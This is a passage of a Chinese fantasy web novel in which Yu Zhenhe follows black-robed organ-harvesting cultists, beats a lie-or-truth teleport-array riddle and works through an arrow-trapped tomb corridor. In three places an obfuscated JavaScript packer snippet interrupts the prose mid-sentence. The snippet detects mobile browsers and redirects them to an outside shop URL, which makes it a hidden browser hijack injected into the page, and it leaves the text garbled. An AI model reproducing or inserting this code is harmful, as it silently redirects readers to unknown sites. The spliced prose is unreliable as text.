祝若琰的情况实在特殊,让她短时间内相信一个完全陌生的人更是难。鱼枕荷苦恼该怎么和祝若琰解释,才能让对方知晓她不是图谋不轨,在说实话与东扯西扯蒙混过关之间纠结好半天,也只能先扔出一句:“我没有恶意的……” “哦。”极其没有说服力的一句话,竟然真的让祝若琰看上去放松了些,鱼枕荷听她语调平静地说道,“知道了,然后呢?” “欸?”鱼枕荷头顶有疑惑冒出,“我还没开始解释呢……” 祝若琰说道:“首先我身上没有任何价值可图,其次你要真是居心叵测,面对我这个残废,一闷棍打晕带走就行了,哪里还需要费那个力气跟我解释。”顿了顿,她又想到方才眼前人纠结犹豫的模样,于是指了指鱼枕荷,补充道,“而且你看着有点傻,当坏人总感觉不够格。” 她道:“你要真是坏人我也认了,你的确装得好,是死是活我都认了……如果你觉得我还有什么可以榨取的价值的话。” 鱼枕荷微微一愣,旋即忍不住笑道:“好聪明啊,若琰。” 祝若琰丝毫不在乎前半句的夸赞,只奇怪道:“你知道我的名字?” “反正我不是坏人,就别在乎我怎么知道你的名字了嘛。”鱼枕荷说着,捡起地上的细木杆,然后背对祝若琰蹲下,“先上来,我们还有很重要的事要做。” 闻言,祝若琰迟疑了片刻,还是双臂环住鱼枕荷的肩,任由她背起自己。 祝若琰打小是个警惕的人,不知道为什么,却是对眼前这个瞧着衣冠楚楚的少年女子有种莫名其妙的信任感。像是被下蛊了。 “什么事?”祝若琰问道。 “打拐。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296664|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼枕荷道。 “你在开什么玩笑。” “不开玩笑。”鱼枕荷往前走了几步,道,“我知道,你曾经从地下组织的据点逃出来过,不管这是不是他们的临时据点,总是要查一查的。” “……”祝若琰简直无言以对。不管眼前这突然冒出来的既知她姓甚名谁,又知她过往底细的人是哪方妖魔鬼怪,就方才一番话,那不就是要把她从哪儿逃出来的送回哪里去吗?果真不怕恶人作恶,就怕好人犯蠢。 “我现在跑还来得及吗?这个好人我没本事当。” 鱼枕荷道:“你要陪我去,只有你认得路。”虽说不是同一个祝若琰,但前一个祝若琰可是亲口答应过和她一起调查的,而且不论前后哪重幻境,总归都是祝若琰,不能赖。 祝若琰:“不去。” 鱼枕荷:“要去呀,要去。” 祝若琰:“……” 讨厌自讨没趣还拖人下水的蠢蛋。 三更天的小巷尤为寂静,鱼枕荷索性便往灯火通明的大路上拐。 这段时日,祝若琰一直躲在阴暗无人的巷子里,尽可能避着他人视线,不敢以如今的身子骨与人打交道。眼下祝若琰趴在鱼枕荷肩头,闻着久违的烟火气,心底原本的烦闷淡去不少。 “若琰。”鱼枕荷忽地轻声唤道。 “干什么?” “家中给你取这个名字,是因为你五行缺火吗?” 祝若琰不明所以:“应该是吧,怎么了?”实话说,她也不太确定。毕竟距离她上一回见到故去的双亲,早已过去将近五年。 鱼枕荷道:“没事,随便聊聊嘛,看你心情不太好。” 两人穿过热闹的街市,一路上,祝若琰都在努力地从记忆里扒着自己跑来这里的路线。之后的时间里,她给鱼枕荷指了几个拐弯处,两人又重新绕回了无人在外的落户街道。 昏暗死寂的环境,让祝若琰不可抑制地回想起被綁入那个阴冷房间的夜晚。 被药物侵蚀的意识逐渐回笼,朦胧间,祝若琰看见一个被半面巾遮掩住容貌、身披恶臭扑鼻的乌黑长袍的高壮男人。 他先是双手合拢做了个怪异的动作,嘴里念念有词,然后拿起手边一把在烛火下闪烁寒芒的弯刺刀,三两下划开她的皮肉…… 鱼枕荷察觉到肩头的布料骤然被一双手攥紧,她微微侧过头,温声言道:“会有办法的。” “嗯。”祝若琰闷着脑袋应了一句。 事到如今,反正她没几日可活,也就没什么怕的了。 起初还想着讨到钱了去找仙家治伤,但身体内外的伤势越拖越严重,短时间内,祝若琰根本攒不够救治的药钱。 后来她想到办法,每日夜里专烦这些富人家,虽有挨打挨骂的可能,但更多的人家还是愿意给出那一点点、于他们而言不过一个指甲盖份量的钱财把她打发走,这无疑能比当街乞讨更快速地讨到更多的钱。 哪怕知道希望依旧渺茫,人之将死,总还是会抱有向生的渴望。 想着想着,祝若琰只感觉背着自己的人忽然停住了脚步。一个不留神,她的额头便栽到了对方后脖颈。 “……嗯?” 在祝若琰身前,鱼枕荷刻意压低的声音响起:“有人来了。” 15. 生死九途门 黑暗中,两道披着黑袍的人影逐渐进入鱼枕荷和祝若琰的视野。 与人影一同卷席而来的,是一股挥散不去的血腥味。 在这个距离下,对于在仙门磨炼过五感的鱼枕荷而言,这两道人影散发的气味,简直像是刚宰了十头猪的屠夫。 鱼枕荷只稍顿住半秒,便继续背着祝若琰,仿若无人般缓步前行。 方向相对的两路人擦肩而过,无事发生。趴在鱼枕荷肩头的祝若琰偷偷松下一口气。 只是这口气还没松懈几秒,祝若琰忽然就被一股力道从鱼枕荷背上猛地甩出,身体在半空失衡。她“啊”地惊叫出声,紧接着,鱼枕荷也惊慌大叫一声,脚下一绊直接摔倒,后背稳稳垫住晚自己半秒摔落地面的祝若琰。 与此同时,一枚从身后飞射而来的梅花镖,正好擦着鱼枕荷的左肩滑过,消失在漆黑夜色中。 雪白的袖袍布料被划开一条细口,刺目的鲜血逐渐洇开。 梅花镖原本瞄准的,正是祝若琰脖颈的位置! 祝若琰尚未从异变中缓过神来,便见鱼枕荷一个侧滚将自己甩下去,重新站稳身形,转身回望向那两道同样停下脚步,冷冷凝视着她二人的身影。 时间仿佛在这一刻停滞。 这两人身上,没有类似仙或魔的明显气息……鱼枕荷心中盘算着,是刺客……还是玄门的人……? 那股恶臭味道的来源,似乎是他们身上披着的黑色长袍。 若真要打,现下的鱼枕荷绝对不是面前这两个人的对手。 心魔煞气本就是仙法的天敌,何况这里还是直接由心魔架构而成的幻境,可以说是煞气老巢。此时此刻,鱼枕荷甚至感受不到体内一丝一毫的灵气流转,更不要说调动法力抗敌。 鱼枕荷往后退了两步,眼看着左边那个黑袍人袖子垂落,似乎又要甩出几枚梅花镖,她背上的祝若琰也察觉到了问题。 那日在暗室剖开她身体的人,逃亡路上追赶她的人,穿着的好像都是这么一身漆黑的袍子。 他们是冲着自己来的? 祝若琰清楚自己如今这具身子根本活不了几天了,总不好再拖个人下水,于是连起身都顾不上,当即喊道:“你们要抓就抓——” “我”字还没说出口,三枚梅花镖已然划破长空,裹挟着凛冽风啸,直接扎入闪躲不及、只得抬手遮挡的鱼枕荷手臂内。 鱼枕荷又是疼得尖叫,腿一软伏倒在地,浑身都在颤抖。不等两个黑袍人再有动作,鱼枕荷便迅速举双手投降,声音发颤地大声道: “两位大哥!我只是碰巧路过,见人断了腿太可怜就想着带人回家留一宿,你们要是有私人恩怨的话就自己解决吧!我先走了!对不起、对不起!” 祝若琰:“?” 合着这人云淡风轻带自己去打拐,一副大隐隐于市的做派,结果完全没本事啊! 不只是祝若琰愣在当场,眼下这个情况,对面的两个黑袍人貌似也摸不清头脑。他们伫立不动,任由身穿鱼尾裙裾的鱼枕荷缓慢从地面爬起来,捂住流血的手臂,迈着极小的步子一点点跑远,没入黑暗尽头。 过了半晌,其中一个黑袍人才上前捞起落单的祝若琰。 在两个身强体壮的成年人的联合下,女孩根本无力反抗,只能任由黑袍人将自己打横抱着,往与鱼枕荷相反的方向走去。 走出几步路后,方才甩梅花镖的青年黑袍人,朝抱着祝若琰的稍微年长的黑袍人问道:“刚才那个人,不用管吗?” “只是个不知情的好心人而已,跑都跑了,你想管什么?”被询问的黑袍人反问道,“你已经扎了人家四枚镖了,现在还想要灭口不成?真把我们当杀人不眨眼的邪教组织了?” 青年真诚道:“啊……不、不是吗……?” “是你个龟孙子!是你个龟孙子!”年长黑袍人一掌拍在青年黑袍人的后脑勺上。 挨了训的青年黑袍人低下脑袋,不再吭声。又过了不知多久,他喃喃自语道:“我没看清啊……怎么感觉第一枚镖没打中呢……” 两人抱着祝若琰渐行渐远。不远处的黑暗中,小心探出一颗脑袋。 “好奇怪的组织……竟然不灭口吗……” 对于这种杀害无辜孩童的坏蛋组织而言,多杀一个人、少杀一个人,应该没什么区别才对。 敢放任长了舌头的目击者逃走,留下落人口舌的隐患,莫非他们并不觉得自己做的是亏心事? 还是说……不论招惹来了县衙还是仙府,他们都有足够硬碰硬的底气? “嘶……” 鱼枕荷忽地心脏抽疼,紧接着混沌的思绪翻滚上涌。 是心魔反噬加深了……看来原本在这个时间段,作为心魔宿主的祝若琰还不应该被黑袍人捉走。 光想也想不明白,鱼枕荷只能先扯掉扎进手臂的三枚梅花镖,揣进衣襟。在与黑袍人拉开一定距离后,心下一横,忍着反噬痛感屈膝跳起,身形轻盈翻越,无声踩上道路一侧房屋的联排青瓦脊,飞快跟上那两道身影。 以鱼枕荷如今的身体状态,再加上心魔幻境中失效的法力,正面一打二完全是送命。不过她此行的目的是调查心魔源头,所以即便这么做有失道德、有失人伦,她还是选择将幻境虚构出的这个祝若琰交出去,自己再偷偷跟上黑袍人,左右都能找到据点。 事实上,哪怕 “祝若琰”再真实,如今也已经成了幻境中的镜花水月,鱼枕荷一脱身幻境,她就会随之而散,但现实里所谓的“脏器组织”若不尽早解决,死的就是活生生的人了。 两个黑袍人走得并不快,可就鱼枕荷方才与二人擦肩时探到的气息,能感受到他们的修为不足以支撑任何穿梭空间的能力,正因如此,鱼枕荷才敢赌他们身上并未携带传送法器,任由他们离去。 要是赌错了,她也只好多受点反噬重置幻境,再换个法子行动。 幸运的是,这次似乎没有赌错。 或者说……至少赌对了一大半……? 随着两侧的房屋越来越少,一座座连绵的山峰逐渐映入鱼枕荷的眼帘。 两个黑袍人开始往山上爬,其中稍微年轻些的黑袍人步伐一顿,像是被怀里的女孩用力踹了一脚。在身侧年长黑袍人的一记眼刀下,他还是不敢懈怠地快步跟上去。 鱼枕荷借着沿途的山石与草木隐蔽身形,紧随他们穿过绵延小道,在一片相对平坦的偏僻草地停下脚步。 她藏在一棵距离较远、较为粗壮的杉树后,观望着两个黑袍人并排站在草地间,紧接着,银蓝光辉从他们脚下浮现,光辉愈来愈盛。 只顷刻间,两个黑袍人便从鱼枕荷眼前消失不见。 而最令鱼枕荷心脏一悸的,是传送法阵启动前的那一秒,黑袍人中较为年长的那个人,似乎转过头,朝她躲藏的方向看了一眼…… 被发现了? 鱼枕荷四下张望一圈,然后小心翼翼地从杉树后走出,来到两个黑袍人方才凭空消失的那片草地。 她试着往他们站过的位置伫了伫,又跳了跳,没有任何动静。 阵法的阵型改变了。这是鱼枕荷的第一个想法。 传送法阵的创始,一是为了便于行动,二就是为了躲避追踪。因此,除却低阶的传送法阵,三转以上的传送法阵都可以随时变换阵型,更改启动阵法的方式,避免被敌人追踪到。 乍一看根本觉察不出任何端倪,鱼枕荷俯身,仔细从一草一木间细勘过去,视线忽然锁定其中的一个地方。 “唔?” 那是块很不起眼的小石碑,大半截都被埋在土里,被杂草遮掩着,与周围的乱石混杂在一起。 鱼枕荷扒开遮蔽视野的杂草,更加清晰地看见了石碑上镌刻的符文。 下一刻,光芒迭起,映照她骤然收缩的瞳孔。 完全不等人作出反应,血红光束与淡蓝光束便从石碑的符文间骤然迸发,如麻花般彼此缠绕、凝聚,最后交融成神秘幽深的紫色光束,洒在鱼枕荷周围的草地上,交汇成九个紫色小传送阵,每三个小阵组成一个小三角,分别居于鱼枕荷的正南方向、西北方向,以及东北方向,三个小三角架构成一个大三角。 与此同时,一个更大的紫色圆阵从石碑蔓生而出,包裹住鱼枕荷、石碑与那九个小传送阵,将人与物尽数禁锢在内。 【生死九途门】?! 鱼枕荷心中惊异。 眼下冒出这一突发状况,委实是把她唬住了。 此般的特殊传送法阵,鱼枕荷从前只在三十三重天藏书阁的卷宗上读到过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296665|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是一种极为罕见的七转传送法阵,之所以说特殊,是因为它除了单纯的传送以外,还具备清剿外来人的杀伤力,可谓攻守兼备。 在鱼枕荷身周的那九个小传送阵内,只有唯一一个正确的传送阵,另外八个,完全不知道会通往什么无间炼狱。 而正确传送阵究竟是哪个,只有布置法阵的人,以及与他同一战线的人才能够提前知晓。 竟然直接启动了七转的杀伤传送阵…… 【生死九途门】,亦或是此类具备杀伤力的传送法阵,若是鱼枕荷没记错的话,应该是仙家三大门派之一的荒神楼,历代先祖延传下来的独门绝学。 荒神楼……和这疑云遍布的脏器组织也有关系? 鱼枕荷不知是方才那二人动了手脚,还是面对她这么个外来人,直接触发了更高阶的保护阵法。总之,眼下她是逃不出去了。 她紧皱着眉头看向石碑。 石碑上原本启动阵法的符文逐渐隐去,取而代之的,是两列简短的文字—— 【九途现世,一阳八阴。】 【汝可问难二则,然真伪莫测,慎之慎之。】 九个传送阵,一个生阵,八个死阵……鱼枕荷试图解析石碑上出现的文字。 可以向石碑套取两条线索,但它给予的回答是真是假,全然凭它心情? “啊?” 鱼枕荷看看石碑,又回头看看身后的九个紫色小传送阵,仔细对比过后,陷入一阵诡异的沉默。 全都长得一模一样啊…… 她重新转回身来,真诚道:“那个……你能换个破关方式吗?” “……” “你一个仙家的石碑,怎么能说真言说谎言全凭心情呢?仙家最讲求的不就是‘诚者天之道’吗?” “……” “我会死掉的。” “……” 不论鱼枕荷如何说理,石碑上的刻字依旧没有任何变化。 眼看着无法与石碑沟通,鱼枕荷又去仔仔细细把每个传送阵都研究了一遍,结果一无所获。 鱼枕荷无奈轻叹一口气,用力往自己额头拍了两下。 别发呆、别发呆啊! 她很清楚自己并没有多擅长动脑筋,但运气更是强悍到二选一都有九成的几率选错……所以两相权衡,还是只能靠前者才能活下来了。 两个问题…… 如若将第一个问题当作铺垫,那最重要的,其实就是向石碑提的第二个问题。 只要能确定它在第二轮回答中,说的是真言还是谎言…… 或者说,得想办法控制住它的回答,让它的前一个回答与后一个回答存在联系,并且互相牵制…… 胡乱猜测根本没有用,必须要通过第一个问题得到的回答定位锚点,以此明确它下一个回答是真是谎。 似乎……是有这种办法的? 最终,鱼枕荷抬手指向自己正前方的一个传送阵,试探地问道:“如果我两轮都问正南方向的大三角尖尖是不是生阵,你的回答会一样吗?” 也许是石碑不想再听鱼枕荷那套“行不信者名必耗”的正人君子说辞了,她话音落下,石碑上的刻字便仓皇发生变化—— 【否。】 鱼枕荷眸光一亮:“那我进哪个传送阵必死无疑?” 【西北。】 【东北。】 得到答案,鱼枕荷再度往天上确认了方位,然后便径直走向大三角阵的西北角,再绕到那个泛着紫光的小三角里头、代表东北方位角的小传送阵。 深吸一口气后,伴随她一步踏上法阵,紫光翻涌而出,又在刹那间破碎! 先前缠绕在一起的血红与淡蓝像是被强行分离开,安谧而祥和的淡蓝汇聚在鱼枕荷的脚下,另外一束仅是看着便似不祥的血红,则又一次分成八小束,分别汇聚在另外八个无人的小传送阵上,爆发出狰狞血光。 八个显露血色的传送法阵,就这么在鱼枕荷眼前爆开,而后消失无踪。 但此时此刻,鱼枕荷已经无暇顾及它们是爆炸还是分裂了。 “荒神楼……”她低垂下脑袋,喃喃自语道。 不久,溢散着淡蓝光辉的传送法阵启动,裹挟着一袭白绿鱼尾裙裾,消失在山间微凉的黑夜中。 16. 墓道 正南方向的传送阵,原本便是鱼枕荷随意乱指的,它通往的到底是生还是死,其实根本不重要。 鱼枕荷需要的,只是石碑给出“是”或“否”的答案。 对于石碑的回答,鱼枕荷将可能出现的八种情况,全部盘了一遍。 最终的结果是,不论她最开始询问的那个传送阵究竟是生阵还是死阵,只要石碑第一轮的最终回答为“否”,第二轮便必定是谎言。 冲天的银蓝光辉逐渐淡去,夜空恢复三更天的漆黑。 不远处,零散有几点暖黄的火光。 鱼枕荷隐蔽着身形,小心靠近那几点火光,才看清是一个个挑了烛灯的黑袍身影。 人数不多,目光所及不过九人,其中七人分散巡逻,另外两人则驻守在一处拱形石门前。 “喂,前面那个!”静谧的空气中,其中一个巡逻的黑袍对着另外一个往远处走的黑袍说道,“在这里守守就行了,别往远跑,山里什么豺狼虎豹都有,到时逃也赶不及。”说罢,他便调整脚步朝反方向走。 被喊住的黑袍有些困惑。他似乎是才加入组织不久,怔愣片刻后“哦”了一声,便重新往接近石门的方向巡视。 就在此时,一只从黑暗中探出的手,猛地劈向他的后脑! 一阵剧痛过后,黑袍甚至还没来得及叫喊,便直挺挺地栽倒下去。 然而,就在他即将在地面砸出声响之际,身体迅速被从身后绕至身前的双手拦住,拖入后方的黑暗。 鱼枕荷脱下他身上散发腥臭味的黑袍,披到自己身上,拉起连在黑袍上的面巾,遮住大半张脸。 “好臭……”鱼枕荷眉头不自觉地皱起。 竟然有这么多能够长期蒙在这腥臭衣袍里的人,好坚强的意志力…… 若非身处幻境,穿过这身黑袍的鱼枕荷巴不得马上跳进河里洗干净。 就这样,宛如刚从河里打捞出来的腥臭活鱼,逐步走向那扇由三人驻守的石拱券门。 为首的黑袍身影注意到鱼枕荷的靠近,疑惑道:“怎么不继续巡逻了?主祭说了,要到四更天才换班。” 鱼枕荷没有开口,只是沉默地抬手指向自己的喉咙。 她顶替的是个较为瘦小的少年男子,身形与她披上宽大的黑袍后大差不差。方才她也仔细瞧过另外那几个同样在巡逻的黑袍身影,结论是打不过。 虽说值夜的这几人看样子并不相熟,昏暗的烛光也照不清鱼枕荷仅剩的小半张、甚至还被额发遮挡住大半的脸,但她仍旧不敢托大。 开口说话太容易露馅……那就干脆交给他们自由发挥吧。 果不其然,下一秒便有另一道惊异的声音从旁边响起:“你的嗓子也坏了?” 也? 既然有人接茬,鱼枕荷便顺着黑袍身影的话乖巧点头。 “不会是什么人传人的病吧……怎么一个嗓子坏了,才过几个时辰又来一个?”第三个驻守的黑袍身影疑惑说道。 为首的黑袍无所谓地摆摆手,对鱼枕荷说道:“行,你自己去跟主祭说吧,先找人把你的位置替补上。”他转身,拉开沉重的石门,里面是一道笔直往下的长路。 鱼枕荷朝二人点头致谢,而后一步踏入墓室。 轰隆—— 她前脚刚进墓室,后脚墓室门便再度关阖。 干净的空气被隔绝在外,霉味和潮湿气味在封闭的空间内翻涌,再加上黑袍的腥味,实可谓臭气熏天。 鱼枕荷忍着臭味一路往下。 墓道宽约四尺八寸,地面由每一排三块整齐的长方石砖铺就,每块广约一尺六寸,长二尺五寸。两侧挂着昏黄的长明灯,映照出石壁上錾刻的各种纹样。 墓道朝向正南方位,甫一进门,便是四方之神坐镇。 东方为青龙、西方为白虎。鱼枕荷往深处走了几步,到第二排石砖,东方紧挨在青龙后的是玄武,西边则是朱雀。 在四方神兽之后,自第三排石砖起,两侧的壁画便换成了一幅幅或人或景的、画面更为完整的图像。 第三排的东侧是火烧连营,西侧是水漫金山寺。 再继续往深走,从进门算起的第四排石砖,东侧是梅花报春,西侧是杏花春笋。 然而,当鱼枕荷踩住第四排的新一块石砖时,莫名却心头一跳。 咻——咻咻—— 破空声接连响起,八支夹带火焰的箭矢同时从四个方向飞射而出! 鱼枕荷身形往西南斜角、西侧壁画为牡丹图的空地一晃,躲过飞箭,没料刚一落地,机栝又是咔嗒转动,四个深凹进去的方格分别出现在两侧石壁。紧接着,八支流火箭飞射。 鱼枕荷再度往前闪避流火箭难以射中东南方向、第六排中间的石砖……三重机关再度触发! 第三轮飞箭迸发而出。 再接下来,鱼枕荷再往东南角。 第四轮飞箭迸发。 鱼枕荷再笔直往正南方向前进一块石砖,落到第八排最东侧,錾刻杨柳依依的石壁旁边。 第五轮飞箭迸发。 就好像无论如何躲闪,鱼枕荷都会精准地踩在被布下陷阱的石砖上。她的逃窜……极像是被一张早就已经编织好的网,紧紧束缚在内。 此时此刻,一个极为清晰的认知出现在鱼枕荷的脑海里—— 暴露了! 不出意外的话,这些陷阱,专门就是为外来者设置的。就像先前的【生死九途门】,只有他们的人才知道正确的路如何走,哪怕失误一次,也可以精准躲闪过第二次、第三次,充分证明自己真的只是误踩。 但是很显然,鱼枕荷已经没有这个“误踩”的机会了。 从触发第一个机关到现在,她已然经历了五轮、四十支流火箭毫无间断的洗礼。 鱼枕荷微一蹙眉,果断放弃了最宽敞的几道闪避路线,调转脚步,翻身往西南方向、第九排中间的石砖跳去。 这一排石砖两侧的石壁,东侧是战马嘶鸣,西侧是骑兵破关。 两支流火箭几乎是擦着她的身体飞过,黑袍瞬间破开两道豁口。 好在,的确没有触发下一个机关。 依照鱼枕荷在前后两重心魔幻境中积累的反噬程度,刚才原本便是在强行调动着四肢闪避流火箭,这会儿消停下来,整个人便像是被抽干了,双腿都在发软。偏偏她还不敢走到靠墙的位置休憩,只能原地撑着膝盖缓气。 先前鱼枕荷来回闪避着流火箭的八方围击,却未发现,两道黑袍身影在黑暗中无声伫立。 直到她缓过神来,最后一次转身,猛地被两张裹着面巾的大脸吓了个激灵。 “啊!” 一高一矮两个黑袍就这么站在她西南方向的斜对角,眸色在烛火辉映下明灭不定。 “你是什么人?”完全不给鱼枕荷反应,其中的高黑袍便问道。 鱼枕荷尚存余悸,双手紧攥着自己黑袍领口:“对不起!我、我一紧张就走错路了……” “走错?走错这么多次?还是说……你是不小心走到了这个地方?”高黑袍的视线扫过周围连片的、火焰已然熄灭的箭矢,最后停留在同样披着黑袍的鱼枕荷身上,“是怎么个走错法?” 果然是这样吗……鱼枕荷心道,哪怕踩错一次机关,也还有再次规避风险的可能。 “是我踩错地方了。箭一发出来我就紧张,就下意识往箭少的地方躲,就、就这样了……” 闻言,两个黑袍对视一眼,矮黑袍凑近了,低声询问道:“咱们人手里有这么小的丫头?主祭彻底没底线了?” “谁知道,人又不是我招的。” 对面的鱼枕荷眨了眨眼。 两个黑袍交头接耳片刻后,又重新看向鱼枕荷,然后两人分别从她的两侧绕过,矮黑袍径直来到她西侧的石砖、高黑袍则一个翻跃落到她东侧的石砖。 三人就这么在第九排的三块石砖上,排并排站着。 鱼枕荷:“?” “你走前面。”高黑袍伸手轻推一下鱼枕荷说道。 是自己人还是外来人,试探试探就好了。 鱼枕荷乖顺点点头,刚踏出一步,忽然停下来问道:“其他人……都睡了吗?” “早就到安寝时间了,干什……” 高黑袍才说完半句话,喉间倏地一阵瘙痒。他下意识抬手去摸,便摸到满手温热。 扑通一声,黑袍瞪直了眼睛看向身旁,就发觉与自己并肩前来的同伴矮黑袍,此刻正瘫倒在最西边的第九排与第十排石砖上,明显没了气息。紧接着,他自己也跪倒下去,生机在弹指间消散。 摇曳的烛光下,一枚梅花镖嵌入石壁,光泽闪烁。 兴许因为这两个黑袍不是构筑这重心魔幻境的重要人物,或者说根本无关紧要,影响不到幻境的发展轨迹,也便是心魔宿主祝若琰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296666|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人生轨迹,他们死了,鱼枕荷并未感受到心魔反噬的侵蚀有多少加深的趋势。 鱼枕荷回头看向身后。 墓道两侧的壁画,除了进门时最为巨大的四方之神,到后来便是些鸟兽虫鱼、祥瑞动物,以及身披甲胄的武士或手持笏板的文臣,虽年代久远,精雕细琢的工艺却依旧清晰可辨。 被触发的那几处机关早已闭合,与石壁严丝合缝,完全看不出端倪。 方才鱼枕荷只顾着闪躲,一点也没有记触发机关的位置。要是真的往前走,绝对就完了。 但这条墓道这么长,又有如此多的机关,既然有正确的前进路线,那约莫就有七成的可能存在规律。 总之……蒙一蒙吧。 墓道内已经横七竖八散了一地的箭矢,鱼枕荷尚不打算冒风险去捡,再言,收拾的过程中还可能触发更多机关。 眼下她两只手边,各有一个不知道在这组织里名头大不大的人。 据守门的那三个黑袍所言,他们组织内部估计是有什么需要“主祭”的仪式要做,少了人还要临时找替补。所以哪怕今夜平安无事,甚至鱼枕荷费些精力把尸体藏起来,等到明日、再过几日,缺人的事照样会被发现。 左右都会被怀疑有外人混入,这回进墓室索性便用来试错,顺便探一探他们的底细。鱼枕荷想着,真的面临绝境了就利用玄星石脱离心魔幻境。 一念及此,鱼枕荷右手拎起东边死成一团的高黑袍,左手穿过他的膝弯,凭记忆将他往自己来时的路上一抛。 鱼枕荷最后一次触发机关的位置,是从进门起第八排的东侧石砖。 所以这一回,鱼枕荷把高黑袍原路丢回了那块石砖上。 也就斜对角的距离,抛得很准。 时间一分一秒地过去。 四周死寂无声,全然没有要触发机关的风吹草动。 ……没有飞箭? 竟然没有触发飞箭机关? 鱼枕荷眉头愈蹙愈紧。 为什么? 是因为人死了不作数?还是因为他们组织内部人员不会触发机关? 还是…… 鱼枕荷心跳难以抑制地有些加快。 还是……机关的位置每时每刻都在发生改变? 不论是前者还是后者,都不是什么好事。 鱼枕荷拎起西侧剩下的一个烂泥般的矮黑袍,帮他团吧团吧成一团,停顿须臾时间,反手将其抛向西北方向、第八排的西侧石砖,与另外那个高黑袍仅一砖之隔。 依旧……她连机栝的扭动声都没有听见。 难道第八排的机关,变换到了中间那一块石砖? 鱼枕荷深吸一口气,逼迫自己保持镇定,半秒过后往正北方向一步踏出。 来都来了,想走也轻易走不了,赌一把吧! 她已经做好了八箭齐发的准备。 只不过,多余准备了。 中间这一块砖,还是没有触发任何机关。 “一整排……一个机关也没有吗……?”鱼枕荷低声喃喃着,弯腰将东侧的高黑袍往手边拖。 可就在高黑袍的身体接触到鱼枕荷所在的中间石砖的那一瞬间—— 八支流火箭同时迸发! “……?!!” 鱼枕荷果断抛下高黑袍,逃也似的跳到身前再北一格的、第七排中间的地砖。 又是八支流火箭! 到底是怎么回事啊——!! 鱼枕荷一个闪身,跃入西北斜对角、第六排西侧的石砖。 总算,再度消停下来。 飞箭机关没有再继续追杀。 鱼枕荷赶忙缓两口气。 如今她与被落在第八排西侧的矮黑袍,隔着一块第七排西侧的石砖;另外一个中了机关的高黑袍距离她有些远,他衣袍被余火烧烂,身上插了数支箭矢,像只刺猬。 不是完全没有收获……鱼枕荷想道,至少现在可以确认,不论是不是组织内部的人,是活人还是死人,都可以触发机关。 鱼枕荷看向自己左手边,正西方向的石壁。 壁灯的昏黄光照下,一个身披铠甲的武将映入她眼帘,威严伫立,手执一杆钺,石刻的面容金刚怒目。 “武将……”鱼枕荷思索着,然后转头看向东侧石壁。 那是一幅草长莺飞二月天的盎然景色。 “……春?” 17. 五行生克 鱼枕荷小心翼翼地俯下身,努力在不接触地面的前提下用手指从隔壁石砖上捻来一支灭了火焰的箭矢,攥入手中。 隐隐之中,鱼枕荷感觉有一道思绪在逐渐成型。 “怎么才能让机关时刻都以看上去毫无规律的方式变换……如果改变机关位置的并不是机关本身,而是进入机关阵的人呢……?” 人是独立的,所以由个人引动的机关也都是独立的,这就说得通了…… 鱼枕荷思忖着,半晌抬头看向与自己一砖之隔的矮黑袍。 最开始她与两个黑袍碰面的时候,正处于从墓道口算起第九排的中间位置,而她两侧的壁画,骑兵和战马,似乎都是与沙场与杀伐相关的壁画。 往前数第八排,也就是矮黑袍此刻所在的西侧石壁上,一群人围着火架子烤物什,还有人在后方跪拜,大概是爎祭这一类的仪式。 眼下鱼枕荷与矮黑袍之间隔着的第七排,西侧壁画是精卫填海,东侧是燕鸟归巢。 若鱼枕荷记忆无错,方才矮黑袍死时身体虽在第九排,却是一头栽在了第十排的石砖上。 而第十排的西侧,即鱼枕荷与两个黑袍碰面时,两个黑袍所处的位置,石壁上錾刻的是黑白无常鬼。 鱼枕荷重新眺望向身后的来时路,根据墓道两侧的壁画,她似乎已经可以一点点拼凑起自己一路走到这里,都经过了哪几块石砖。 “不会吧……我的气运真的坏成这样了吗……”鱼枕荷越想越觉得离奇。她蔫巴巴地嘀咕着,目光重新放到矮黑袍身上。 只能靠你了。 鱼枕荷朝前倾身,撑直了手臂用手中攥着的箭矢去勾矮黑袍的衣角,一顿费心费力,总算是将他勾到了第八排石砖的最北边缘的位置。 她坐回原地休憩片刻,做了个深呼吸。 只有七成的把握,这回触发的机关会和先前截然不同。 等体力恢复得差不多了,鱼枕荷再度伸手,快速将第八排边缘的矮黑袍勾进第七排! 几乎是同时,八支木箭飞射! 鱼枕荷迅疾起身,凌空翻越闪避朝她飞来的箭矢,继而稳稳落在原地。 木制箭矢一支落空,其余则径直扎进矮黑袍体内,使他变成了第二个刺猬。 木箭…… “真的不一样了……”鱼枕荷低头看着死相惨烈的矮黑袍,一阵胆战心惊。 